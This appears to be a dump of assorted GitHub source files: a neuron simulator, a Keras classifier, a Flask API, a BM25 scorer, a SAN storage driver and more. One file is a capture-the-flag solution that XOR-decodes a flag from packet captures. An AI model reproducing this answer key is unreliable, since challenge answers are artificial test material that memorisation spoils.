\"VO#\": \"variation_order_number\",\r\n \"Job Variation Order GUID\": \"variation_order_guid\",\r\n },\r\n ),\r\n \"job_costs_summary_inquiry\": handle_generic(\r\n mappings={\r\n \"Job\": \"job_number\",\r\n \"VOs\": \"variations\",\r\n \"VOs (Internal)\": \"internal_variations\",\r\n \"Costs to Date (inc unposted)\": \"costs_to_date\",\r\n },\r\n id_function=lambda row: row[\"job_number\"] + \"_\" + row[\"subcategory\"],\r\n # works fine locally without explicitly specifying this but breaks in prod\r\n date_column=None,\r\n ),\r\n \"job_details\": handle_generic(\r\n mappings={\r\n \"Job\": \"job_number\",\r\n \"Date2 ProjectOpen\": \"date_project_open\",\r\n \"SiteManager\": \"site_manager\",\r\n \"QuantitySurveyorCode\": \"quantity_surveyor_code\",\r\n \"Date6 PracticalCompletion\": \"date_practical_completion\",\r\n },\r\n unique_key=\"job_number\",\r\n transform_fn=transform_job_details,\r\n ),\r\n \"job_subcontractors\": handle_generic(),\r\n \"subcategories\": handle_generic(\r\n id_function=lambda row: row[\"company_code\"] + \"_\" + row[\"code\"]\r\n ),\r\n \"variation_orders\": handle_generic(),\r\n}\r\n","repo_name":"FosterConstructionGroup/tap-costcon","sub_path":"tap_costcon/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33744251976","text":"########################################################################\n########################################################################\n\n#Author: Rebecca Miko \n#Date: 12/12/18\n#Model modified from Izhikevich Neuron Model \n# https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=1257420\n\n#Izhikevich Model: \n# dv/dt=0.04*v^2+5*v+140-u+I \n# du/dt=a*(b*v-u)\n\n########################################################################\n\n#USAGE\n#python Iz_Replications.py [-h] [--plot-figure] [--debug DEBUG] simulator\n\n#ARGUMENTS:\n#simulator choice: neuron, nest or brian\n\n#OPTIONAL ARGUMENTS:\n# -h, --help Show help message\n# --plot-figure Plot the simulation results\n# --debug DEBUG Print debugging information\n\n########################################################################\n\n#Neuron types:\n#RS: regular spiking\n#IB: intrinsically bursting\n#CH: chattering\n#FS: fast spiking\n#TC1/2: thalamo-cortical\n#RZ: resonator\n#LTS: low threshold spiking\n\n#See the paper for more details\n\n########################################################################\n########################################################################\n#imports\nfrom numpy import arange\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pyNN.utility import get_simulator,init_logging,normalized_filename\n\n#configure simulation\nsim,options=get_simulator(\n\t(\"--plot-figure\",\"Plot the simulation results to a file.\",\n\t\t\t\t\t{\"action\":\"store_true\"}), \n\t(\"--debug\",\"Print debugging information\"))\n\n#optional argument --debug\nif options.debug: \n init_logging(None,debug=True)\n\n#Izhikevich neurons\nizhikevich_values =[\t\n {'name':'RS','a':0.02,'b':0.2,'c':-65,'d':8,'v':-70,'tstart':10.0,'c1':0.01}, \n {'name':'IB','a':0.02,'b':0.2,'c':-55,'d':4,'v':-70,'tstart':10.0,'c1':0.01}, \n {'name':'CH','a':0.02,'b':0.2,'c':-50,'d':2,'v':-70,'tstart':10.0,'c1':0.01}, \n {'name':'FS','a':0.1,'b':0.2,'c':-65,'d':2,'v':-70,'tstart':10.0,'c1':0.01}, \n {'name':'TC1','a':0.02,'b':0.25,'c':-65,'d':0.05,'v':-63,'tstart':50.0,'c1':0.001}, \n {'name':'TC2','a':0.02,'b':0.25,'c':-65,'d':0.05,'v':-87,'tstart':10.0,'c1':-0.6}, \n {'name':'RZ','a':0.1,'b':0.26,'c':-65,'d':0.05,'v':-70,'tstart':0.5, 'tstart2':110.0,'c1':0.000143, 'c2':0.001}, \n {'name':'LTS','a':0.02,'b':0.25,'c':-65,'d':2,'v':-70, 'u':-14, 'tstart':10.0, 'c1':0.01}]\n\nselected_value=raw_input(\"Please enter the Izhikevich neuron type: \")\nmy_dict=next((iz_dict for iz_dict in izhikevich_values if \n\t\t\t\tiz_dict['name']==selected_value), None)\n\n#sim parameters\nsim_duration=200.0 #ms\n\n#simulation\nsim.setup(timestep=0.01,min_delay=1.0)\nnum_neurons=1\n\n#neurons\nneurons=sim.Population(num_neurons,sim.Izhikevich(a=my_dict.get('a'), b=my_dict.get('b'), c=my_dict.get('c'), d=my_dict.get('d')))\n\n#input\nsrc=sim.DCSource(start=my_dict.get('tstart'),stop=sim_duration,amplitude=my_dict.get('c1'))\nstep_current=sim.StepCurrentSource(times=[0.0,my_dict.get('tstart')],amplitudes=[my_dict.get('c1'),0.0])\n\nif selected_value in ('RS','IB','CH','FS','LTS','TC1'):\n\tsrc.inject_into(neurons[0:1])\nif selected_value in ('RZ'):\n\tsrc.inject_into(neurons[0:1])\n\tsrc2=sim.DCSource(start=my_dict.get('tstart2'),stop=160,amplitude=my_dict.get('c2'))\n\tsrc2.inject_into(neurons[0:1])\nif selected_value in ('TC2'):\n\tstep_current.inject_into(neurons[0:1])\n\nneurons.record(['v','u']) \nneurons.initialize(v=my_dict.get('v'),u=-14.0) \n\n#RUN\nsim.run(sim_duration)\n\n#save and plot\ndirectory=\"Iz_plots/\"\nfilename=my_dict.get('name')\nextension=\".eps\"\n#optional argument --plot-figure\nif options.plot_figure: \n\tdata=neurons.get_data().segments[0]\n\tv=data.filter(name='v')[0]\n\t#u=data.filter(name=\"u\")[0]\n\tfig = plt.figure()\n\tplt.plot(v.times, v)\n\tif my_dict.get('name') !='TC2':\n\t\tplt.ylim(-80, 0)\n\telse:\n\t\tplt.ylim(-200, 0)\n\tplt.ylabel(\"Membrane potential (mV)\")\n\tplt.xlabel(\"Time (ms)\")\n\tplt.title(my_dict.get('name'))\n\tplt.savefig(os.path.join(directory, filename+extension), dpi=300)\n\n#end sim\nsim.end()\n\n###############################################################################################################\n###############################################################################################################\n\n\n","repo_name":"r-miko/izhikevich_neurons","sub_path":"Iz_replications.py","file_name":"Iz_replications.py","file_ext":"py","file_size_in_byte":4172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40469472560","text":"\"\"\"\nGiven a binary tree, flatten it to a linked list in-place.\n\nFor example,\nGiven\n\n 1\n / \\\n 2 5\n / \\ \\\n 3 4 6\nThe flattened tree should look like:\n 1\n \\\n 2\n \\\n 3\n \\\n 4\n \\\n 5\n \\\n 6\n\n\n\"\"\"\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def flatten(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: void Do not return anything, modify root in-place instead.\n \"\"\"\n if not root:\n return\n self.lastNode = None\n self.dfsHelper(root)\n\n \n def dfsHelper(self, root): # i am not familiar with this case when reference is a node not a list/dict\n if not root:\n return\n if self.lastNode:\n self.lastNode.left = None\n self.lastNode.right = root\n self.lastNode = root\n right = root.right\n self.dfsHelper(root.left) # after this step root's location (direction) has been changed\n self.dfsHelper(right)\n","repo_name":"akb46mayu/Data-Structures-and-Algorithms","sub_path":"BinaryTree and Divide and Conquer/le114_flattenBinaryTreeToLinkedList.py","file_name":"le114_flattenBinaryTreeToLinkedList.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"24790309975","text":"import sample.keys as keys\n\n#Dicts\nconstrutores = keys.construtores()\n\n#Quantidades\nqtdConstrutores = keys.qtdConstrutores()\n\n# CONSTRUTORES\n\n#Lista dos atuais construtores do campeonato de F1 - ex: Red Bull\ndef nome():\n\tlistConstrutores = []\n\n\tfor i in construtores[0:qtdConstrutores]:\n\t\tlistConstrutores.append(i['name'])\n\t\n\treturn listConstrutores\n\n#Lista da nacionalidade dos atuais construtores de F1 - ex: Austrian\ndef nacionalidade():\n\tlistNacionalidadeConst = []\n\n\tfor i in construtores[0:qtdConstrutores]:\t\n\t\tlistNacionalidadeConst.append(i['nationality'])\n\n\treturn listNacionalidadeConst","repo_name":"MaykeESA/f1-bot","sub_path":"sample/listas/construtores.py","file_name":"construtores.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9474996657","text":"from scapy.all import *\n\npkts = rdpcap(\"./challenge.pcap\")\n\n# The seed determined from running the client program\nkey = bytearray(b'\\x67\\xc6\\x69\\x73\\x51\\xff\\x4a\\xec\\x29')\nindex = 0\nflag = ''\n\nfor pkt in pkts:\n # Only care about UDP packets\n if (pkt.haslayer(UDP)):\n chars = bytes(pkt[UDP].payload)[-4:]\n\n # Check if this payload has part of the flag\n if chars != '\\x00\\x00\\x00\\x00':\n for c in chars:\n flag += chr(ord(c) ^ key[index])\n\n index = index + 1\n\nprint(flag)\n","repo_name":"starfleetcadet75/writeups","sub_path":"2018-Cyberstakes/Protocol/soln.py","file_name":"soln.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35826139755","text":"import math\r\nclass Point:\r\n def __init__(self, x, y):\r\n self.__x = x\r\n self.__y = y\r\n\r\n def __call__(self):\r\n return (self.__x, self.__y)\r\n\r\n def equal(self, obj1):\r\n if (obj1.__x == self.__x) and (obj1.__y == self.__y):\r\n return True\r\n return False\r\n\r\n def distance_from_origin(self):\r\n result = math.sqrt((self.__x) ** 2 + (self.__y)**2)\r\n return result\r\n\r\n def distancee_from_point(self, obj1):\r\n result = math.sqrt((self.__x - obj1.__x) ** 2 + (self.__y - obj1.__y) ** 2)\r\n return result\r\n\r\n\r\nP1 = Point(1, -3)\r\nP2 = Point(-1, 5)\r\nP3 = Point(1, -3)\r\n\r\nprint(\"Point P1 :\", P1())\r\nprint(P1.equal(P2))\r\nprint(P1.equal(P3))\r\nprint(P1.distance_from_origin())\r\nprint(P1.distancee_from_point(P2))","repo_name":"kjh03160/fund_python","sub_path":"data_processing2/prac3_1.py","file_name":"prac3_1.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8633857808","text":"import os\nimport numpy as np\n\nfrom keras.applications.inception_v3 import InceptionV3\nfrom keras.preprocessing.image import ImageDataGenerator, load_img\nfrom random import randint\n\nfrom keras.models import Model, load_model\nfrom keras.layers import Dense, GlobalAveragePooling2D, Activation, GlobalMaxPooling2D, Dropout\nfrom keras import backend as K\n\nfrom keras.callbacks import LambdaCallback, ProgbarLogger\n\nfrom keras.optimizers import Adam\n\nfrom run_tests import read_csv, save_csv\n\nfrom skimage.transform import resize\nfrom random import randint\n\ndef read_csv(filename):\n res = {}\n with open(filename) as fhandle:\n next(fhandle)\n for line in fhandle:\n filename, class_id = line.rstrip('\\n').split(',')\n res[filename] = int(class_id)\n return res\n\ndef rotare(img, times):\n if times == 0:\n return img\n if times == 1:\n return np.rot90(img)\n if times == 2:\n return np.rot90(np.rot90(img))\n if times == 3:\n return np.rot90(np.rot90(np.rot90(img)))\n\n\ndef generator(train_img_dir, dataset, batch_size = 1, augmentations = False):\n x_batch = np.zeros((batch_size, 299, 299, 3))\n y_batch = np.zeros((batch_size, 50))\n i = 0\n full_indx = np.array([i for i in range(len(dataset))])\n begin_batch = 0\n while True:\n #filename_idxs = np.random.choice(len(dataset), batch_size)\n filename_idxs = []\n \n if begin_batch + batch_size < len(dataset):\n filename_idxs = full_indx[begin_batch : begin_batch + batch_size]\n begin_batch += batch_size\n else:\n filename_idxs = full_indx[begin_batch : len(dataset)]\n begin_batch = (begin_batch + batch_size) % len(dataset)\n filename_idxs += full_indx[0 : begin_batch]\n\n filenames = [list(dataset.keys())[filename_idx] for filename_idx in filename_idxs]\n for i in range(batch_size):\n image = load_img(train_img_dir + '/' + filenames[i], target_size = (299, 299))\n if augmentations:\n seed = randint(0, 3)\n image = rotare(image, seed)\n image -= np.mean(image, keepdims=True)\n image /= (np.std(image, keepdims=True) + 0.00001)\n x_batch[i] = image\n y_batch[i][dataset[filenames[i]]] = 1\n yield x_batch, y_batch\n \n\ndef make_generator(path, batch_size = 32, batches_per_training = 10, target_size = (299, 299)):\n data_gen_args = dict(samplewise_center = True,\n samplewise_std_normalization = True,\n horizontal_flip = True,\n rotation_range=90.)\n \n image_datagen = ImageDataGenerator(**data_gen_args)\n train_generator = image_datagen.flow_from_directory(path, target_size = target_size, batch_size = batches_per_training * batch_size)\n \n return train_generator\n\n\ndef train_classifier(train_gt, train_img_dir, fast_train=True, prep_dirs = False):\n '''\n train_gt - csv file with labels\n train_img_dir - path to dir with imgs\n fast_train - fast train for testing at cv-gml\n prep_dirs - flag for preparing dirs for flow_from_directory\n '''\n if prep_dirs:\n import shutil\n \n dataset = train_gt\n file_names = dataset.keys()\n img_labels = dataset.values()\n\n folders_to_be_created = np.unique(img_labels)\n\n source = os.getcwd()\n\n for new_path in folders_to_be_created:\n if not os.path.exists(train_img_dir + '/' + str(new_path)):\n os.makedirs(train_img_dir + '/' + str(new_path))\n\n folders = folders_to_be_created.copy()\n\n for f in range(len(file_names)):\n current_img = file_names[f]\n current_label = img_labels[f]\n shutil.move(train_img_dir + '/' + str(current_img), train_img_dir + '/' + str(current_label))\n \n base_model = InceptionV3(weights='imagenet', include_top = False)\n\n # add a global spatial average pooling layer\n x = base_model.output\n x = GlobalMaxPooling2D()(x)\n\n # let's add a fully-connected layer with dropout\n x = Dense(1000, activation='relu')(x)\n x = Dropout(0.25)(x)\n # and a logistic layer -- let's say we have 200 classes\n predictions = Dense(50, activation='softmax')(x)\n\n # this is the model we will train\n model = Model(inputs=base_model.input, outputs=predictions)\n\n # first: train only the top layers (which were randomly initialized)\n # i.e. freeze all convolutional InceptionV3 layers, I don't why but freezing this layers stops learning on validation\n #for layer in base_model.layers:\n # layer.trainable = False\n\n # compile the model (should be done *after* setting layers to non-trainable), also set small learning_rate\n model.compile(optimizer=Adam(lr=0.00004), loss='categorical_crossentropy', metrics=['accuracy'])\n \n if fast_train:\n dataset = train_gt\n model.fit_generator(generator(train_img_dir = train_img_dir, dataset = dataset), steps_per_epoch = 1, epochs = 1, verbose = 0) \n return model\n \n \n # main model training, prep_dirs should be made just one time\n \n batch_sizes = [32, 36, 40, 48, 56, 64, 69, 71]\n \n for batch_size in batch_sizes:\n print('train on batch size:', batch_size)\n train_generator = make_generator(batch_size = batch_size)\n batches = 0\n for x_batch, y_batch in train_generator:\n model.fit(x_batch, y_batch,\n batch_size=batch_size, epochs=1, shuffle=False)\n batches += batches_per_training\n\n if (batches * batch_size) >= 2500:\n break\n \n #model.save('birds_model.hdf5')\n return model\n\n\ndef classify(model, test_img_dir, verbose = 0, true_labels = None):\n #model = load_model('birds_model.hdf5')\n res = {}\n for filename in os.listdir(test_img_dir):\n if filename.endswith(\".jpg\"):\n image = load_img(test_img_dir + '/' + filename, target_size = (299, 299))\n image -= np.mean(image, keepdims=True)\n image /= (np.std(image, keepdims=True) + 0.00001)\n ans = int((model.predict(image.reshape((1, 299, 299, 3)))).argmax())\n if verbose:\n if true_labels:\n print(filename, 'predict:', ans, 'true:', true_labels[filename])\n else:\n print(filename, 'predict:', ans)\n res[filename] = ans\n else:\n continue\n return res\n \n \n\n","repo_name":"oleges1/practise","sub_path":"add_learning/classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":6512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33591664485","text":"from time import sleep\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\nsleep(3)\n\noptions = webdriver.FirefoxOptions()\noptions.add_argument(\"--ignore-certificate-errors\")\noptions.add_argument(\"--ignore-ssl-errors=yes\")\noptions.add_argument(\"--start-maximized\")\noptions.add_argument(\"--headless\")\n\nfirefox = webdriver.Remote(\n command_executor=\"http://localhost:4444/wd/hub\", options=options\n)\n\nbase_url = \"https://www.wikimetal.com.br\"\nendpoint = \"/iron-maiden-scorpions-kiss-veja-melhores-albuns-1982\"\n\nurl = f\"{base_url}{endpoint}\"\n\nfirefox.get(url)\n\nelements = firefox.find_elements(By.TAG_NAME, \"p\")\n\nfor element in elements:\n print(element.text)\n\nfirefox.quit()\n","repo_name":"StephanCadu/trybe-exercises","sub_path":"computer_science/03.data-scraping/3-2.ferramentas-raspagem-de-dados/exercises/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4979328720","text":"import os\n\nimport flask\n\nimport nypl.api\nimport nypl.summary\n\napp = flask.Flask(__name__)\n\n\n@app.route('/api/collections//asset-summary')\ndef get_collection_asset_summary(uid: str) -> flask.Response:\n client = nypl.api.Client(token=os.environ[\"API_TOKEN\"])\n summary = nypl.summary.build_asset_summary(client, uid)\n\n data = flask.jsonify({\"asset_summary\": summary})\n response = app.make_response(data)\n response.content_type = \"application/json\"\n return response\n\n\n@app.errorhandler(nypl.api.APIError)\ndef not_found(e) -> flask.Response:\n data = flask.jsonify({\"error\": {\"msg\": \"Could not talk to NYPL\"}})\n response = app.make_response(data)\n response.content_type = \"application/json\"\n response.status = 500\n return response\n\n\n@app.errorhandler(nypl.api.APINotFound)\ndef not_found(e) -> flask.Response:\n data = flask.jsonify({\"error\": {\"msg\": \"UID Not Found\"}})\n response = app.make_response(data)\n response.content_type = \"application/json\"\n response.status = 404\n return response\n","repo_name":"sarangj/nypl","sub_path":"nypl/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26337775383","text":"# Following El Joauhari et al. 2021) we assume:\n# - electrical energy needed to mix the sludge is 5.27- 7.9 W/m³ volumetric flow\n# - constant power application of 1.2 kW to pump 1 m³/day\n# (daily electricity demand: 1.2 kW * 24h * 1/m³) using a progressive cavity pump from FlowRox\n# - constant power to pumped volume ratio\n# SED is the specific energy demand\n\nclass HeatCalculation:\n # calculates the heat demand [kWh] of a anaerobic digester in a specific hour\n def __init__(self, temp_ambient, heat_transfer_coefficient, temp_digester, surface_area,\n heat_capacity, average_mass_flow):\n self.temp_ambient = temp_ambient\n self.heat_transfer_coefficient = heat_transfer_coefficient\n self.temp_digester = temp_digester\n self.surface_area = surface_area\n self.heat_capacity = heat_capacity\n self.average_mass_flow = average_mass_flow\n# average_mass_flow = current mass flow due to steady state operation of the digester, Unit: [kg/h]\n\n def compute(self):\n # conversion factors\n cf_jtokwh = 1/3600000 # Joule to kWh\n cf_whtokwh = 1/1000 # Wh to kWh\n heating = self.average_mass_flow * self.heat_capacity * (self.temp_digester - self.temp_ambient) * cf_jtokwh\n heat_loss = self.heat_transfer_coefficient * self.surface_area * (\n self.temp_digester - self.temp_ambient) * cf_whtokwh\n heat_demand = heating + heat_loss # kWh\n return heat_demand\n\n\nclass ElectricityCalculation:\n # calculates the electricity demand of the anaerobic digester\n def __init__(self, average_volumetric_flow, active_volume):\n self.average_volumetric_flow = average_volumetric_flow # [m³/h]\n self.average_daily_volumetric_flow = average_volumetric_flow * 24\n self.active_volume = active_volume\n\n def compute(self):\n\n sed_mixer = 0.0079 * self.average_volumetric_flow # [kW] constant power of mixer\n # of the organic matter in the digester,assuming 7.9 W/m³ & constant filling level\n sed_pump = 1.2 * self.average_daily_volumetric_flow # [kW] constant power of pump\n # El Joauhari et al. (2021) express pump power requirement\n # in constant power to apply over 24 hours to pump average daily volumetric flow [kW/m³daily]\n electricity_demand = sed_mixer + sed_pump # [kWh] components work constantly over the hour\n return electricity_demand\n","repo_name":"rl-institut/OWEFE","sub_path":"src/digester_demand.py","file_name":"digester_demand.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"72853405314","text":"__author__ = 'Lorenzo de la Paz'\n\n\nfrom math import log\n\n#Parametros constantes\nN = 50000\nk1 = 1.2\nk2 = 100\nb = 0.0\nR = 0.0\nr = 0.0\n\n#Funcion que calcula la puntuación en base a la función de ranking BM25\ndef score_BM25(n, f, qf, dl, avdl):\n K = compute_K(dl, avdl)\n #print('valor de K:', str(K))\n first = log( ( (r + 0.5) / (R - r + 0.5) ) / ( (n - r + 0.5) / (N - n - R + r + 0.5)) )\n #print('first referencia: ', first)\n \n second = ((k1 + 1) * f) / (K + f)\n #print('second referencia: ', second)\n \n third = ((k2+1) * qf) / (k2 + qf)\n #print('third referencia: ', third)\n return first * second * third\n\n#Funcion que calcula el valor del parametros K\ndef compute_K(dl, avdl):\n return k1 * ((1-b) + b * (float(dl)/float(avdl)) )","repo_name":"lorenpaz/Proyecto-SinE","sub_path":"src/rank.py","file_name":"rank.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8602866383","text":"from typing import Optional, Literal\n\nimport os, sys\nimport numpy as np\n\nimport itertools\n\nfrom collections import defaultdict\n\nfrom sklearn.linear_model import Ridge\nfrom sklearn.svm import SVC\nimport scipy.stats as spst\n\nALLOWED_CORRELATION_METHOD = Literal[\"pearson\", \"spearman\"]\n\n\ndef memory_capacity(\n X,\n y,\n tau_max=20,\n residual=True,\n correlation_method: ALLOWED_CORRELATION_METHOD = \"pearson\",\n keep_monotonic=True,\n discrete=False,\n regularization_factor=0.1,\n):\n mc = np.zeros(tau_max)\n mc[:] = np.NaN\n for tau in range(0, tau_max):\n _s = y if tau == 0 else y[:-tau]\n if discrete: # No normalization for discrete classification\n s = _s\n else:\n s = (_s - np.mean(_s)) / np.linalg.norm(_s) # Normalize\n\n if residual:\n data = np.concatenate([X[tau:], y[tau:, None]], axis=1)\n else:\n data = X[tau:]\n\n if discrete: # Classification memory capacity\n clf = SVC(C=regularization_factor)\n patterns = np.unique(y)\n clf.fit(data, s)\n h = clf.predict(data)\n else: # Continuous memory capacity\n # Output (Continuous)\n clf = Ridge(alpha=regularization_factor)\n clf.fit(data, s)\n h = clf.predict(data)\n\n if correlation_method == \"pearson\":\n # Pearson correlation\n corr = np.corrcoef(h, s, rowvar=False) # Pearson correlation coefficient\n _mc = corr[0, 1] ** 2\n elif correlation_method == \"spearman\":\n # Spearman correlation\n _mc = spst.spearmanr(h, s).correlation ** 2\n else:\n raise NotImplementedError\n\n if keep_monotonic and tau > 0 and _mc > mc[tau - 1]:\n break\n else:\n mc[tau] = _mc\n return mc\n","repo_name":"skim0119/dynamic-rc-utilities","sub_path":"src/pybrc/memory_capacity.py","file_name":"memory_capacity.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41483521792","text":"import eventlet\nimport random\nimport re\nimport string\nimport time\n\nfrom oslo.config import cfg\n\nfrom cinder import context\nfrom cinder import db as db_api\nfrom cinder import exception\nfrom cinder.openstack.common import excutils\nfrom cinder.openstack.common import log as logging\nfrom paxes_cinder import _\nfrom cinder.openstack.common import processutils\nfrom cinder.openstack.common import loopingcall\nfrom cinder.openstack.common import strutils\nfrom cinder.openstack.common.db import exception as db_exc\nfrom cinder import utils\nfrom cinder.volume import volume_types\n\nfrom paxes_cinder.db import api as paxes_db_api\nfrom paxes_cinder.volume.drivers import paxes_san\nfrom paxes_cinder import exception as paxes_exception\n\nLOG = logging.getLogger(__name__)\n\nRESTRICTED_METADATA_VDISK_ID_KEY = \"vdisk_id\"\nRESTRICTED_METADATA_VDISK_NAME_KEY = \"vdisk_name\"\nRESTRICTED_METADATA_VDISK_UID_KEY = \"vdisk_uid\"\nRESTRICTED_METADATA_SCSI_INQUIRY_83_KEY = \"scsi_inquiry_83\"\n\n# Regex to match WWPN!C0507606D56F01F2 from lshost\nRE_WWPN = re.compile('WWPN!([A-Z]*[0-9]+[A-Z0-9]*)')\n\n# Regex to match iscsi_name!iqn\nRE_ISCSI_NAME = re.compile('iscsi_name!(.)')\n\n#constant for flashcopy mapping processing\nFCMAP_COPY_COMPLETE_PCT = 100\n\nstorwize_svc_opts = [\n cfg.StrOpt('storwize_svc_volpool_name',\n default='volpool',\n help='Storage system storage pool for volumes'),\n cfg.IntOpt('storwize_svc_vol_rsize',\n default=2,\n help='Storage system space-efficiency parameter for volumes '\n '(percentage)'),\n cfg.IntOpt('storwize_svc_vol_warning',\n default=0,\n help='Storage system threshold for volume capacity warnings '\n '(percentage)'),\n cfg.BoolOpt('storwize_svc_vol_autoexpand',\n default=True,\n help='Storage system autoexpand parameter for volumes '\n '(True/False)'),\n cfg.IntOpt('storwize_svc_vol_grainsize',\n default=256,\n help='Storage system grain size parameter for volumes '\n '(32/64/128/256)'),\n cfg.BoolOpt('storwize_svc_vol_compression',\n default=False,\n help='Storage system compression option for volumes'),\n cfg.BoolOpt('storwize_svc_vol_easytier',\n default=True,\n help='Enable Easy Tier for volumes'),\n cfg.IntOpt('storwize_svc_vol_iogrp',\n default=0,\n help='The I/O group in which to allocate volumes'),\n cfg.IntOpt('storwize_svc_flashcopy_timeout',\n default=120,\n help='Maximum number of seconds to wait for FlashCopy to be '\n 'prepared. Maximum value is 600 seconds (10 minutes)'),\n cfg.StrOpt('storwize_svc_connection_protocol',\n default='iSCSI',\n help='Connection protocol (iSCSI/FC)'),\n cfg.BoolOpt('storwize_svc_multipath_enabled',\n default=False,\n help='Connect with multipath (FC only; iSCSI multipath is '\n 'controlled by Nova)'),\n cfg.BoolOpt('storwize_svc_multihostmap_enabled',\n default=True,\n help='Allows vdisk to multi host mapping'),\n cfg.IntOpt('storwize_fcmap_poll_interval',\n default=30,\n help='A tunable determines how frequent Storwize driver should '\n 'poll the status of in-flight flashcopy monitor queue. '\n 'The poll interval is in seconds'),\n cfg.IntOpt('storwize_fcmap_poll_maxpct',\n default=80,\n help='A tunable determines the percentage of poll interval '\n 'a worker thread should spend at most when walking the '\n 'flashcopy monitor queue.'),\n cfg.BoolOpt('storwize_fcmap_delete_queue_enabled',\n default=True,\n help='Enable storwize driver flashcopy mapping queue to '\n 'have a single worker thread to manage the flashcopy '\n 'mapping per SVC backend and wakes up each pending '\n 'volume delete threads as needed. When it is disabled, '\n 'each volume delete request needs to poll the disk fcmap '\n 'individually.'),\n cfg.StrOpt('storwize_fcmap_delete_copy_clean_rate',\n default='50',\n help='A tunable to decide copy/clean rate used during fcmap'\n 'delete operation.')\n]\n\n\nCONF = cfg.CONF\nCONF.register_opts(storwize_svc_opts)\n\n\nclass StorwizeSVCDriverIdDriver(paxes_san.PowerVCSanDriver):\n \"\"\"IBM Storwize V7000 and SVC iSCSI/FC volume driver.\n\n Version history:\n 1.0 - Initial driver\n 1.1 - FC support, create_cloned_volume, volume type support,\n get_volume_stats, minor bug fixes\n\n \"\"\"\n\n \"\"\"=====================================================================\"\"\"\n \"\"\" SETUP \"\"\"\n \"\"\"=====================================================================\"\"\"\n VERSION = \"1.1.0\"\n\n def __init__(self, *args, **kwargs):\n super(StorwizeSVCDriverIdDriver, self).__init__(*args, **kwargs)\n self.configuration.append_config_values(storwize_svc_opts)\n self._storage_nodes = {}\n self._enabled_protocols = set()\n self._compression_enabled = False\n self._available_iogrps = []\n self._context = None\n self._system_name = None\n self._system_id = None\n self._extent_size = None\n\n # This describes the storage controller, handy for attaching to\n # exceptions or mentioning in log messages.\n self.endpoint_desc = paxes_exception.SVCDescriptor(\n self.configuration.host,\n self.configuration.host_display_name,\n self.configuration.san_login,\n self.configuration.san_ip,\n self.configuration.san_ssh_port)\n\n # Build cleanup translation tables for host names\n invalid_ch_in_host = ''\n for num in range(0, 128):\n ch = str(chr(num))\n if (not ch.isalnum() and ch != ' ' and ch != '.'\n and ch != '-' and ch != '_'):\n invalid_ch_in_host = invalid_ch_in_host + ch\n self._string_host_name_filter = string.maketrans(\n invalid_ch_in_host, '-' * len(invalid_ch_in_host))\n\n self._unicode_host_name_filter = dict((ord(unicode(char)), u'-')\n for char in invalid_ch_in_host)\n\n def _get_iscsi_ip_addrs(self):\n generator = self._port_conf_generator(['svcinfo', 'lsportip'])\n header = next(generator, None)\n if not header:\n return\n\n for port_data in generator:\n try:\n port_node_id = port_data['node_id']\n port_ipv4 = port_data['IP_address']\n port_ipv6 = port_data['IP_address_6']\n state = port_data['state']\n except KeyError:\n self._handle_keyerror('lsportip', header)\n\n if port_node_id in self._storage_nodes and (\n state == 'configured' or state == 'online'):\n node = self._storage_nodes[port_node_id]\n if len(port_ipv4):\n node['ipv4'].append(port_ipv4)\n if len(port_ipv6):\n node['ipv6'].append(port_ipv6)\n\n def _get_fc_wwpns(self):\n for key in self._storage_nodes:\n node = self._storage_nodes[key]\n ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]\n raw = self._run_ssh(ssh_cmd)\n resp = CLIResponse(raw, delim='!', with_header=False)\n wwpns = set(node['WWPN'])\n for i, s in resp.select('port_id', 'port_status'):\n if 'active' == s:\n wwpns.add(i)\n node['WWPN'] = list(wwpns)\n LOG.info(_('WWPN on node %(node)s: %(wwpn)s')\n % {'node': node['id'], 'wwpn': node['WWPN']})\n\n def _incorporate_restricted_metadata(self, volume_ref):\n \"\"\"Query the Cinder database to retrieve any access-restricted\n metadata and attach it to the volume data.\n Returns the vdisk id, which most of the time is what we were after.\n If there is no restricted metadata, tries to find the disk and\n creates it.\n \"\"\"\n ctxt = context.get_admin_context()\n metadata = paxes_db_api.\\\n volume_restricted_metadata_get(ctxt, volume_ref['id'])\n\n # If the vdisk ID is not in the metadata, this could be because of an\n # upgrade from a version that didn't use it. We try to find it by\n # looking for a volume on the SAN with a matching name\n if RESTRICTED_METADATA_VDISK_ID_KEY not in metadata:\n # Previous versions would have used this as the name on the 